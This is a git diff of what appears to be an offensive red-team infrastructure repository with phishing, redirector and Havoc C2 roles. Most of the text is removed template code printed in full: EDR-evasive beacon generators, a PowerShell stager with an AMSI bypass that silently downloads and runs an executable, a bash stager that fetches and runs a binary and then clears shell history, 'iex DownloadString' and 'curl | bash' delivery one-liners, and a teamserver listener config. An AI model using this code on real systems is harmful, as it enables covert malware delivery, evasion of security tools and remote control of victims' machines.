infrastructure +│ │ ├── aws +│ │ │ ├── files +│ │ │ ├── tasks +│ │ │ └── templates +│ │ ├── flokinet +│ │ │ ├── files +│ │ │ ├── tasks +│ │ │ └── templates +│ │ └── linode +│ │ ├── files +│ │ ├── tasks +│ │ └── templates +│ ├── logging-server +│ │ ├── files +│ │ ├── tasks +│ │ └── templates +│ ├── payload-server +│ │ ├── files +│ │ │ └── secure_payload_sync.sh +│ │ ├── payload_redirector.yml +│ │ ├── payload_server.yml +│ │ ├── tasks +│ │ │ ├── configure_payload_redirector.yml +│ │ │ └── configure_payload_server.yml +│ │ └── templates +│ ├── phishing +│ │ ├── cleanup_phishing.yml +│ │ ├── deploy_phishing_infrastructure.yml +│ │ ├── files +│ │ ├── gophish +│ │ │ ├── files +│ │ │ ├── tasks +│ │ │ │ ├── configure_gophish_advanced.yml +│ │ │ │ └── configure_phishing_server.yml +│ │ │ └── templates +│ │ ├── gophish_server.yml +│ │ ├── mta-front +│ │ │ ├── files +│ │ │ ├── tasks +│ │ │ │ └── configure_mta_front.yml +│ │ │ └── templates +│ │ ├── mta_front.yml +│ │ ├── phishing_redirector.yml +│ │ ├── phishing_webserver.yml +│ │ ├── Plan.md +│ │ ├── redirector +│ │ │ ├── files +│ │ │ ├── tasks +│ │ │ │ └── configure_phishing_redirector.yml +│ │ │ └── templates +│ │ ├── tasks +│ │ │ └── configure_fedramp_compliance.yml +│ │ ├── templates +│ │ │ ├── email-templates +│ │ │ │ ├── file_share.j2 +│ │ │ │ ├── office365_login.j2 +│ │ │ │ ├── password_expiry.j2 +│ │ │ │ └── security_alert.j2 +│ │ │ ├── fake-login.html.j2 +│ │ │ ├── fedramp-compliance.j2 +│ │ │ ├── gophish-advanced-config.j2 +│ │ │ ├── gophish-config.j2 +│ │ │ ├── nginx-phishing-webserver.j2 +│ │ │ ├── phishing_deployment_state.j2 +│ │ │ ├── phishing-landing-page.j2 +│ │ │ └── postfix-mta-front.j2 +│ │ └── webserver +│ │ ├── files +│ │ ├── tasks +│ │ │ ├── configure_phishing_webserver.yml +│ │ │ └── setup_phishing_security.yml +│ │ └── templates +│ ├── redirectors +│ │ ├── files +│ │ │ └── post_install_redirector.sh +│ │ ├── tasks +│ │ │ └── configure_redirector.yml +│ │ └── templates +│ │ ├── capture.php.j2 +│ │ ├── nginx.conf.j2 +│ │ ├── nginx-payload-redirector.j2 +│ │ ├── nginx-phishing-redirector.j2 +│ │ ├── redirector-havoc-fragment.j2 +│ │ ├── redirector-index.html.j2 +│ │ ├── redirector-site.conf.j2 +│ │ ├── redirector-site-with-tracker.conf.j2 +│ │ └── stream.conf.j2 +│ ├── share-drive +│ │ ├── files +│ │ ├── tasks +│ │ └── templates +│ └── tracker +│ ├── files +│ │ ├── simple_email_tracker.py +│ │ ├── tracker.service +│ │ └── tracker-stats.sh +│ ├── tasks +│ └── templates +│ ├── simple_email_tracker.py.j2 +│ ├── tracker-config.j2 +│ ├── tracker-nginx.conf.j2 +│ └── tracker.service.j2 ├── PROJECT-STATUS.md ├── providers │ ├── AWS @@ -86,92 +200,7 @@ │ ├── tracker.yml │ └── vars.yaml ├── README.md -├── redirectors -│ ├── files -│ ├── tasks -│ └── templates -│ ├── nginx-payload-redirector.j2 -│ ├── nginx-phishing-redirector.j2 -│ ├── redirector-havoc-fragment.j2 -│ ├── redirector-index.html.j2 -│ ├── redirector-site.conf.j2 -│ └── redirector-site-with-tracker.conf.j2 ├── requirements.txt -├── share-drive -│ ├── files -│ ├── tasks -│ └── templates -├── structure.txt -├── tracker -└── universal - ├── files - │ ├── clean-logs.sh - │ ├── havoc_installer.sh - │ ├── havoc_mutate.sh - │ ├── havoc_shell_handler.sh - │ ├── implant_mutator.sh - │ ├── persistent-listener.sh - │ ├── post_install_c2.sh - │ ├── post_install_redirector.sh - │ ├── randomize_ports.sh - │ ├── rubber-ducky.txt - │ ├── secure-exit.sh - │ ├── secure_payload_sync.sh - │ ├── simple_email_tracker.py - │ ├── tracker-nginx.conf - │ ├── tracker.service - │ └── tracker-stats.sh - ├── tasks - │ ├── cleanup_confirmation.yml - │ ├── configure_advanced_evasion.yml - │ ├── configure_c2.yml - │ ├── configure_fedramp_compliance.yml - │ ├── configure_gophish_advanced.yml - │ ├── configure_integrated_tracker.yml - │ ├── configure_mail.yml - │ ├── configure_mta_front.yml - │ ├── configure_payload_redirector.yml - │ ├── configure_payload_server.yml - │ ├── configure_phishing_redirector.yml - │ ├── configure_phishing_server.yml - │ ├── configure_phishing_webserver.yml - │ ├── configure_redirector.yml - │ ├── initial-infrastructure.yml - │ ├── install_tools.yml - │ ├── port_randomization.yml - │ ├── security_hardening.yml - │ ├── setup_phishing_security.yml - │ └── traffic_flow_config.yml - └── templates - ├── capture.php.j2 - ├── default-site.j2 - ├── generate_evasive_beacons.sh.j2 - ├── generate_havoc_payloads.sh.j2 - ├── havoc-config.yaotl.j2 - ├── havoc-guide.j2 - ├── index.html.j2 - ├── infrastructure_state.j2 - ├── linux_loader.sh.j2 - ├── manifest.json.j2 - ├── motd-aws.j2 - ├── motd.j2 - ├── motd-linode.j2 - ├── motd-redirector.j2 - ├── nginx.conf.j2 - ├── POST_INSTALL_INSTRUCTIONS.txt.j2 - ├── proxychains.conf.j2 - ├── reference.txt.j2 - ├── resolv.conf.j2 - ├── secure-ssh.sh.j2 - ├── serve-havoc-payloads.sh.j2 - ├── setup-cert.sh.j2 - ├── shell-handler.service.j2 - ├── simple_email_tracker.py.j2 - ├── stream.conf.j2 - ├── torrc.j2 - ├── tracker-config.j2 - ├── tracker-nginx.conf.j2 - ├── tracker.service.j2 - └── windows_loader.ps1.j2 +└── structure.txt -53 directories, 122 files +86 directories, 118 files diff --git a/universal/templates/generate_evasive_beacons.sh.j2 b/universal/templates/generate_evasive_beacons.sh.j2 deleted file mode 100644 index 45b3657..0000000 --- a/universal/templates/generate_evasive_beacons.sh.j2 +++ /dev/null @@ -1,456 +0,0 @@ -#!/bin/bash -# EDR-evasive beacon generator for Havoc C2 -# Every deployment produces completely unique payloads - -# Configuration (automatically populated by Ansible) -HAVOC_DIR="/root/Tools/Havoc" -BEACONS_DIR="/root/Tools/beacons" -C2_HOST="{{ ansible_host }}" -REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}" -REDIRECTOR_PORT="{{ redirector_port | default('9443') }}" -PROFILE_FILE="$HAVOC_DIR/config/profile.json" - -# Ensure required directories exist -mkdir -p $BEACONS_DIR/windows -mkdir -p $BEACONS_DIR/linux -mkdir -p $BEACONS_DIR/staged -mkdir -p $BEACONS_DIR/shellcode - -# Load Havoc configuration from profile -if [ -f "$PROFILE_FILE" ]; then - echo "[+] Loading Havoc configuration from profile..." - TEAMSERVER_PORT=$(jq -r '.teamserver_port' "$PROFILE_FILE") - ADMIN_USER=$(jq -r '.admin_user' "$PROFILE_FILE") - ADMIN_PASS=$(jq -r '.admin_pass' "$PROFILE_FILE") - HTTP_PORT=$(jq -r '.http_port' "$PROFILE_FILE") - HTTPS_PORT=$(jq -r '.https_port' "$PROFILE_FILE") -else - echo "[!] Warning: Profile file not found, using default values" - TEAMSERVER_PORT=40056 - ADMIN_USER="admin" - ADMIN_PASS="admin" - HTTP_PORT=8080 - HTTPS_PORT=443 -fi - -# Generate unique random values for each execution -random_string() { - cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1 -} - -# Anti-detection function to modify binary files -modify_binary() { - local input_file=$1 - - echo "[+] Applying anti-detection modifications to: $input_file" - - # Create a temporary file - local temp_file="${input_file}.tmp" - cp "$input_file" "$temp_file" - - # Modify the file based on its type - if file "$input_file" | grep -q "PE32"; then - # Windows EXE/DLL modifications - - # Add random bytes to end of file - dd if=/dev/urandom bs=1 count=$(( RANDOM % 1000 + 100 )) >> "$temp_file" 2>/dev/null - - # Modify PE header timestamps with random value - random_timestamp=$(printf '%08x' $(( RANDOM * RANDOM ))) - printf "\\x${random_timestamp:0:2}\\x${random_timestamp:2:2}\\x${random_timestamp:4:2}\\x${random_timestamp:6:2}" | \ - dd of="$temp_file" bs=1 seek=136 count=4 conv=notrunc 2>/dev/null - - # Try to strip debug information - if command -v strip &> /dev/null; then - strip --strip-debug "$temp_file" 2>/dev/null || true - fi - - elif file "$input_file" | grep -q "ELF"; then - # Linux ELF modifications - - # Add random bytes to end of file - dd if=/dev/urandom bs=1 count=$(( RANDOM % 500 + 50 )) >> "$temp_file" 2>/dev/null - - # Try to strip all symbols - if command -v strip &> /dev/null; then - strip --strip-all "$temp_file" 2>/dev/null || true - fi - fi - - # Replace original with modified version - mv "$temp_file" "$input_file" - - echo "[+] Binary modifications complete" -} - -# Create advanced Havoc payload profile with evasion techniques -generate_profile() { - local type=$1 - local profile_name="${type}_profile_$(random_string 8).json" - - echo "[+] Creating evasive $type profile..." - - # Generate random values for this profile - local sleep_time=$(( RANDOM % 10 + 2 )) - local jitter_percent=$(( RANDOM % 50 + 10 )) - - if [ "$type" == "windows" ]; then - cat > "$BEACONS_DIR/$profile_name" << EOF -{ - "Listener": "https", - "Demon": { - "Sleep": ${sleep_time}, - "SleepJitter": ${jitter_percent}, - "IndirectSyscalls": true, - "Inject": { - "AllocationMethod": $(( RANDOM % 3 )), - "ExecutionMethod": $(( RANDOM % 3 )), - "ExecuteOptions": $(( RANDOM % 2 )) - }, - "Evasion": { - "StackSpoofing": true, - "SleazeUnhook": true, - "AmsiEtwPatching": true, - "SyscallMethod": $(( RANDOM % 3 )), - "EnableSleepMask": true, - "SleepMaskTechnique": $(( RANDOM % 4 )) - }, - "Binary": { - "Subsystem": $(( RANDOM % 2 + 1 )) - } - } -} -EOF - elif [ "$type" == "linux" ]; then - cat > "$BEACONS_DIR/$profile_name" << EOF -{ - "Listener": "https", - "Demon": { - "Sleep": ${sleep_time}, - "SleepJitter": ${jitter_percent}, - "Injection": { - "SpawnMethod": $(( RANDOM % 2 )), - "AllocationMethod": $(( RANDOM % 2 )) - }, - "Evasion": { - "EnableSleepMask": true, - "SleepMaskTechnique": $(( RANDOM % 4 )) - } - } -} -EOF - fi - - echo "$profile_name" -} - -# Generate Havoc payloads with EDR evasion techniques -generate_payloads() { - echo "[+] Generating EDR-evasive Havoc beacons..." - - # Windows EXE - win_profile=$(generate_profile "windows") - win_output="update_win_$(random_string 8).exe" - echo "[+] Creating Windows beacon: $win_output with profile $win_profile" - - $HAVOC_DIR/Client/havoc headless \ - --teamserver "127.0.0.1:$TEAMSERVER_PORT" \ - --username "$ADMIN_USER" \ - --password "$ADMIN_PASS" \ - --daemon \ - --generate payload \ - --listener "https" \ - --config "$BEACONS_DIR/$win_profile" \ - --format exe \ - --output "$BEACONS_DIR/windows/$win_output" \ - > /dev/null 2>&1 - - # Apply custom binary modifications - if [ -f "$BEACONS_DIR/windows/$win_output" ]; then - modify_binary "$BEACONS_DIR/windows/$win_output" - fi - - # Windows DLL - dll_profile=$(generate_profile "windows") - dll_output="module_$(random_string 8).dll" - echo "[+] Creating Windows DLL: $dll_output with profile $dll_profile" - - $HAVOC_DIR/Client/havoc headless \ - --teamserver "127.0.0.1:$TEAMSERVER_PORT" \ - --username "$ADMIN_USER" \ - --password "$ADMIN_PASS" \ - --daemon \ - --generate payload \ - --listener "https" \ - --config "$BEACONS_DIR/$dll_profile" \ - --format dll \ - --output "$BEACONS_DIR/windows/$dll_output" \ - > /dev/null 2>&1 - - # Apply custom binary modifications - if [ -f "$BEACONS_DIR/windows/$dll_output" ]; then - modify_binary "$BEACONS_DIR/windows/$dll_output" - fi - - # Linux binary - linux_profile=$(generate_profile "linux") - linux_output="update_linux_$(random_string 8)" - echo "[+] Creating Linux binary: $linux_output with profile $linux_profile" - - $HAVOC_DIR/Client/havoc headless \ - --teamserver "127.0.0.1:$TEAMSERVER_PORT" \ - --username "$ADMIN_USER" \ - --password "$ADMIN_PASS" \ - --daemon \ - --generate payload \ - --listener "https" \ - --config "$BEACONS_DIR/$linux_profile" \ - --format elf \ - --output "$BEACONS_DIR/linux/$linux_output" \ - > /dev/null 2>&1 - - # Apply custom binary modifications - if [ -f "$BEACONS_DIR/linux/$linux_output" ]; then - modify_binary "$BEACONS_DIR/linux/$linux_output" - fi - - # Windows shellcode (staged payload) - shellcode_profile=$(generate_profile "windows") - shellcode_output="shellcode_$(random_string 8).bin" - echo "[+] Creating Windows shellcode: $shellcode_output with profile $shellcode_profile" - - $HAVOC_DIR/Client/havoc headless \ - --teamserver "127.0.0.1:$TEAMSERVER_PORT" \ - --username "$ADMIN_USER" \ - --password "$ADMIN_PASS" \ - --daemon \ - --generate payload \ - --listener "https" \ - --config "$BEACONS_DIR/$shellcode_profile" \ - --format shellcode \ - --output "$BEACONS_DIR/shellcode/$shellcode_output" \ - > /dev/null 2>&1 - - echo "[+] All payloads generated successfully!" - - # Return payload information - echo "$win_output:$dll_output:$linux_output:$shellcode_output" -} - -# Generate PowerShell and bash stagers -generate_stagers() { - win_output=$1 - linux_output=$2 - - echo "[+] Generating evasive stagers..." - - # Create PowerShell stager directory - mkdir -p $BEACONS_DIR/stagers - - # PowerShell stager with AMSI bypass and obfuscation - cat > $BEACONS_DIR/stagers/windows_stager.ps1 << 'EOF' -# PowerShell stager for Havoc C2 with AMSI bypass -[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 - -# AMSI Bypass -function Bypass-AMSI { - $a = [Ref].Assembly.GetTypes() - ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}} - $d = $c.GetFields('NonPublic,Static') - ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}} - $g = $f.GetValue($null) - [IntPtr]$ptr = $g - [Int32[]]$buf = @(0) - [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1) -} - -# Try to bypass AMSI -try { Bypass-AMSI } catch {} - -# Randomize variables for evasion -$rnd1 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_}) -$rnd2 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_}) -$rnd3 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_}) - -# Error handling with obfuscation -$ErrorActionPreference = 'SilentlyContinue' -$wc = New-Object System.Net.WebClient -$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36") -$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9") -$wc.Headers.Add("Referer", "https://REDIRECTOR_HOST/") - -# Split URL to avoid detection -$r1 = "https://" -$r2 = "REDIRECTOR_HOST" -$r3 = "/content/windows/WINDOWS_EXE" -$url = $r1 + $r2 + $r3 - -# Download with jitter -$outpath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "$rnd1.exe") -try { - $wc.DownloadFile($url, $outpath) - Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000) - - # Start process with extra obfuscation - $p = New-Object System.Diagnostics.Process - $p.StartInfo.FileName = $outpath - $p.StartInfo.WindowStyle = 'Hidden' - $p.StartInfo.CreateNoWindow = $true - $p.Start() - -} catch { - # Fail silently -} -EOF - - # Replace placeholder values in PowerShell stager - sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/windows_stager.ps1 - sed -i "s/WINDOWS_EXE/$win_output/g" $BEACONS_DIR/stagers/windows_stager.ps1 - - # Bash stager with obfuscation techniques - cat > $BEACONS_DIR/stagers/linux_stager.sh << 'EOF' -#!/bin/bash -# Linux download and execute Havoc beacon with EDR evasion - -# Function obfuscation -function x() { - command -v "$1" > /dev/null 2>&1 -} - -# Random temp filename -r() { - head /dev/urandom | tr -dc a-zA-Z0-9 | head -c${1:-10} -} - -# Randomize variables -TMPVAR=$(r) -TMPFILE="/tmp/.${TMPVAR}" - -# Check which download tool is available -if x curl; then - # Split URL to avoid signature detection - p1="https://" - p2="REDIRECTOR_HOST" - p3="/content/linux/LINUX_BINARY" - url="${p1}${p2}${p3}" - # Add random sleep between operations - sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}') - curl -s -o "$TMPFILE" "$url" -elif x wget; then - p1="https://" - p2="REDIRECTOR_HOST" - p3="/content/linux/LINUX_BINARY" - url="${p1}${p2}${p3}" - # Add random sleep between operations - sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}') - wget -q -O "$TMPFILE" "$url" -else - exit 1 -fi - -# Make executable and run in background -chmod +x "$TMPFILE" -# Add random sleep before execution -sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}') -("$TMPFILE" > /dev/null 2>&1 &) - -# Clean up command history if possible -[ -f ~/.bash_history ] && cat /dev/null > ~/.bash_history 2>/dev/null -history -c 2>/dev/null - -echo "Update complete." -EOF - - # Replace placeholder values in Bash stager - sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/linux_stager.sh - sed -i "s/LINUX_BINARY/$linux_output/g" $BEACONS_DIR/stagers/linux_stager.sh - chmod +x $BEACONS_DIR/stagers/linux_stager.sh - - echo "[+] Stagers created successfully" -} - -# Create manifest file -create_manifest() { - local payload_info=$1 - local win_output=$(echo $payload_info | cut -d':' -f1) - local dll_output=$(echo $payload_info | cut -d':' -f2) - local linux_output=$(echo $payload_info | cut -d':' -f3) - local shellcode_output=$(echo $payload_info | cut -d':' -f4) - - echo "[+] Creating manifest file..." - cat > $BEACONS_DIR/manifest.json << EOF -{ - "windows_exe": "$win_output", - "windows_dll": "$dll_output", - "linux_binary": "$linux_output", - "windows_shellcode": "$shellcode_output", - "redirector_host": "$REDIRECTOR_HOST", - "redirector_port": "$REDIRECTOR_PORT", - "c2_host": "$C2_HOST", - "havoc_teamserver_port": "$TEAMSERVER_PORT", - "havoc_http_port": "$HTTP_PORT", - "havoc_https_port": "$HTTPS_PORT", - "generation_time": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")" -} -EOF -} - -# Create reference file -create_reference() { - local payload_info=$1 - local win_output=$(echo $payload_info | cut -d':' -f1) - local dll_output=$(echo $payload_info | cut -d':' -f2) - local linux_output=$(echo $payload_info | cut -d':' -f3) - local shellcode_output=$(echo $payload_info | cut -d':' -f4) - - echo "[+] Creating reference file..." - cat > $BEACONS_DIR/reference.txt << EOF -Havoc C2 Server Details: -- C2 IP: $C2_HOST -- Redirector Domain: $REDIRECTOR_HOST -- Teamserver Port: $TEAMSERVER_PORT -- Admin User: $ADMIN_USER -- Admin Password: $ADMIN_PASS - -Beacons Generated ($(date)): -- Windows EXE: $win_output (Path: $BEACONS_DIR/windows/$win_output) -- Windows DLL: $dll_output (Path: $BEACONS_DIR/windows/$dll_output) -- Linux Binary: $linux_output (Path: $BEACONS_DIR/linux/$linux_output) -- Windows Shellcode: $shellcode_output (Path: $BEACONS_DIR/shellcode/$shellcode_output) - -Deployment Commands: -- PowerShell: - powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')" - -- Linux: - curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash - -Anti-Detection Features Enabled: -- Binary signature randomization -- PE/ELF header manipulation -- Sleep mask obfuscation -- AMSI bypass in stagers -- EDR unhooking -- Indirect syscalls -- Random sleep/jitter timing -EOF -} - -# Main execution flow -echo "[+] Starting EDR-evasive Havoc beacon generation..." -echo "[+] Redirector: $REDIRECTOR_HOST" -echo "[+] C2 Host: $C2_HOST" - -# Generate payloads -payload_info=$(generate_payloads) - -# Generate stagers -generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3) - -# Create manifest file -create_manifest "$payload_info" - -# Create reference file -create_reference "$payload_info" - -echo "[+] EDR-evasive beacon generation complete!" \ No newline at end of file diff --git a/universal/templates/generate_havoc_payloads.sh.j2 b/universal/templates/generate_havoc_payloads.sh.j2 deleted file mode 100644 index 1105ecd..0000000 --- a/universal/templates/generate_havoc_payloads.sh.j2 +++ /dev/null @@ -1,260 +0,0 @@ -#!/bin/bash -# EDR-evasive payload generator for Havoc C2 - -# Configuration (automatically populated by Ansible) -PAYLOADS_DIR="/root/Tools/Havoc/payloads" -C2_HOST="{{ ansible_host }}" -REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}" -REDIRECTOR_PORT="{{ redirector_port | default('9443') }}" -TEAMSERVER_HOST="127.0.0.1" -TEAMSERVER_PORT="40056" -HAVOC_DIR="/root/Tools/Havoc" -HAVOC_CLIENT="$HAVOC_DIR/Client/havoc" - -# Ensure required directories exist -mkdir -p $PAYLOADS_DIR/windows -mkdir -p $PAYLOADS_DIR/linux -mkdir -p $PAYLOADS_DIR/staged - -# Generate unique random values for each execution -random_string() { - cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1 -} - -# Define Havoc profiles for different payloads -generate_profiles() { - echo "[+] Generating Havoc C2 profiles..." - - # Profile for Windows EXE - cat > $PAYLOADS_DIR/win_exe.profile << EOF -{ - "Listener": "https", - "Demon": { - "Sleep": 5, - "SleepJitter": 30, - "IndirectSyscalls": true, - "Inject": { - "AllocationMethod": 0, - "ExecutionMethod": 0, - "ExecuteOptions": 0 - }, - "Evasion": { - "StackSpoofing": true, - "SleazeUnhook": true, - "AmsiEtwPatching": true - }, - "Formats": [ - "Binary", - "Shellcode" - ] - } -} -EOF - - # Profile for Linux ELF - cat > $PAYLOADS_DIR/linux_elf.profile << EOF -{ - "Listener": "https", - "Demon": { - "Sleep": 5, - "SleepJitter": 30, - "Injection": { - "SpawnMethod": 1, - "AllocationMethod": 1 - }, - "Formats": [ - "Binary", - "Shellcode" - ] - } -} -EOF - - echo "[+] Profiles created successfully" -} - -# Generate Havoc payloads with CLI arguments -generate_payloads() { - echo "[+] Generating Havoc payloads..." - - # Windows EXE - win_output="agent_win_$(random_string 8).exe" - echo "[+] Generating Windows payload: $win_output" - - $HAVOC_CLIENT headless \ - --teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \ - --username "admin" \ - --password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \ - --daemon \ - --generate payload \ - --listener "https" \ - --config "$PAYLOADS_DIR/win_exe.profile" \ - --format exe \ - --output "$PAYLOADS_DIR/windows/$win_output" \ - > /dev/null 2>&1 - - # Windows DLL - dll_output="module_$(random_string 8).dll" - echo "[+] Generating Windows DLL: $dll_output" - - $HAVOC_CLIENT headless \ - --teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \ - --username "admin" \ - --password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \ - --daemon \ - --generate payload \ - --listener "https" \ - --config "$PAYLOADS_DIR/win_exe.profile" \ - --format dll \ - --output "$PAYLOADS_DIR/windows/$dll_output" \ - > /dev/null 2>&1 - - # Linux ELF - linux_output="agent_linux_$(random_string 8)" - echo "[+] Generating Linux payload: $linux_output" - - $HAVOC_CLIENT headless \ - --teamserver "$TEAMSERVER_HOST:$TEAMSERVER_PORT" \ - --username "admin" \ - --password "$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)" \ - --daemon \ - --generate payload \ - --listener "https" \ - --config "$PAYLOADS_DIR/linux_elf.profile" \ - --format elf \ - --output "$PAYLOADS_DIR/linux/$linux_output" \ - > /dev/null 2>&1 - - echo "[+] All payloads generated successfully!" - - # Return payload names for reference - echo "$win_output:$dll_output:$linux_output" -} - -# Generate PowerShell and bash stagers -generate_stagers() { - win_output=$1 - linux_output=$2 - - echo "[+] Generating stagers..." - - # PowerShell stager - cat > $PAYLOADS_DIR/stagers/windows_stager.ps1 << EOF -# PowerShell stager for Havoc C2 -[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 -\$ErrorActionPreference = 'SilentlyContinue' -\$wc = New-Object System.Net.WebClient -\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36") -\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9") -\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/") -\$url = "https://$REDIRECTOR_HOST/content/windows/$win_output" -\$outpath = "\$env:TEMP\\update-\$(New-Guid).exe" -try { - \$wc.DownloadFile(\$url, \$outpath) - Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000) - Start-Process -WindowStyle Hidden -FilePath \$outpath -} catch { - # Fail silently -} -EOF - - # Bash stager - cat > $PAYLOADS_DIR/stagers/linux_stager.sh << EOF -#!/bin/bash -# Linux download and execute Havoc beacon - -# Download binary to /tmp with random name -TMPFILE="/tmp/update-\$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)" -curl -s -o \$TMPFILE https://$REDIRECTOR_HOST/content/linux/$linux_output -chmod +x \$TMPFILE - -# Execute in background -\$TMPFILE & - -echo "Update complete." -EOF - - chmod +x $PAYLOADS_DIR/stagers/linux_stager.sh - - echo "[+] Stagers generated successfully" -} - -# Create manifest file -create_manifest() { - payload_info=$1 - win_output=$(echo $payload_info | cut -d':' -f1) - dll_output=$(echo $payload_info | cut -d':' -f2) - linux_output=$(echo $payload_info | cut -d':' -f3) - - cat > $PAYLOADS_DIR/manifest.json << EOF -{ - "windows_exe": "$win_output", - "windows_dll": "$dll_output", - "linux_binary": "$linux_output", - "redirector_host": "$REDIRECTOR_HOST", - "redirector_port": "$REDIRECTOR_PORT", - "c2_host": "$C2_HOST", - "generated_date": "$(date)" -} -EOF - - echo "[+] Manifest created successfully" -} - -# Create reference file -create_reference() { - payload_info=$1 - win_output=$(echo $payload_info | cut -d':' -f1) - dll_output=$(echo $payload_info | cut -d':' -f2) - linux_output=$(echo $payload_info | cut -d':' -f3) - - cat > $PAYLOADS_DIR/reference.txt << EOF -Havoc C2 Server Details: -- C2 IP: $C2_HOST -- Redirector Domain: $REDIRECTOR_HOST - -Payloads Generated ($(date)): -- Windows EXE: $win_output -- Windows DLL: $dll_output -- Linux Binary: $linux_output - -Usage: -1. Ensure your redirector is properly configured to forward requests to the C2 server -2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP -3. Test connectivity before deployment in target environment - -Payload deployment: -- PowerShell: - powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')" - -- Linux: - curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash -EOF - - echo "[+] Reference file created successfully" -} - -# Main execution flow -echo "[+] Starting Havoc C2 payload generation..." -echo "[+] Redirector: $REDIRECTOR_HOST" -echo "[+] C2 Host: $C2_HOST" - -# Create stagers directory -mkdir -p $PAYLOADS_DIR/stagers - -# Generate profiles -generate_profiles - -# Generate payloads -payload_info=$(generate_payloads) - -# Generate stagers -generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3) - -# Create manifest -create_manifest "$payload_info" - -# Create reference -create_reference "$payload_info" - -echo "[+] Havoc payload generation complete!" \ No newline at end of file diff --git a/universal/templates/havoc-config.yaotl.j2 b/universal/templates/havoc-config.yaotl.j2 deleted file mode 100644 index eb3e13b..0000000 --- a/universal/templates/havoc-config.yaotl.j2 +++ /dev/null @@ -1,79 +0,0 @@ -Teamserver { - Host = "0.0.0.0" - Port = {{ havoc_teamserver_port | default(40056) }} - - Build { - Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc" - Compiler86 = "/usr/bin/x86_64-w64-mingw32-gcc" - Nasm = "/usr/bin/nasm" - } -} - -Operators { - user "{{ havoc_admin_user | default('admin') }}" { - Password = "{{ havoc_admin_password | default(lookup('password', '/dev/null chars=ascii_letters,digits length=24')) }}" - } - {% if havoc_operators is defined %} - {% for operator in havoc_operators %} - user "{{ operator.name }}" { - Password = "{{ operator.password }}" - } - {% endfor %} - {% endif %} -} - -Listeners { - Http { - Name = "https" - Hosts = [ - "{{ redirector_subdomain }}.{{ domain }}" - ] - HostBind = "0.0.0.0" - HostRotation = "round-robin" - PortBind = {{ havoc_https_port | default(9443) }} - PortConn = {{ havoc_https_port | default(9443) }} - UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" - Headers = [ - "Accept: */*", - "Accept-Language: en-US,en;q=0.9" - ] - Uris = [ - "/api/v2", - "/content", - "/static/css", - "/wp-content/plugins" - ] - Response { - Headers = [ - "Content-Type: application/json", - "Cache-Control: no-store, private", - "X-Content-Type-Options: nosniff" - ] - } - Secure = true - - Cert { - Cert = "/etc/letsencrypt/live/{{ domain }}/fullchain.pem" - Key = "/etc/letsencrypt/live/{{ domain }}/privkey.pem" - } - } -} - -Demon { - Sleep = {{ havoc_sleep | default(5) }} - Jitter = {{ havoc_jitter | default(30) }} - - Injection { - {% if havoc_spawn64 is defined %} - Spawn64 = "{{ havoc_spawn64 }}" - {% else %} - Spawn64 = "C:\\Windows\\System32\\dllhost.exe" - {% endif %} - - {% if havoc_spawn32 is defined %} - Spawn32 = "{{ havoc_spawn32 }}" - {% else %} - Spawn32 = "C:\\Windows\\SysWOW64\\dllhost.exe" - {% endif %} - } -} \ No newline at end of file diff --git a/universal/templates/havoc-guide.j2 b/universal/templates/havoc-guide.j2 deleted file mode 100644 index c96fbac..0000000 --- a/universal/templates/havoc-guide.j2 +++ /dev/null @@ -1,112 +0,0 @@ -HAVOC C2 OPERATIONS GUIDE -========================== - -This guide provides information on using the Havoc C2 framework 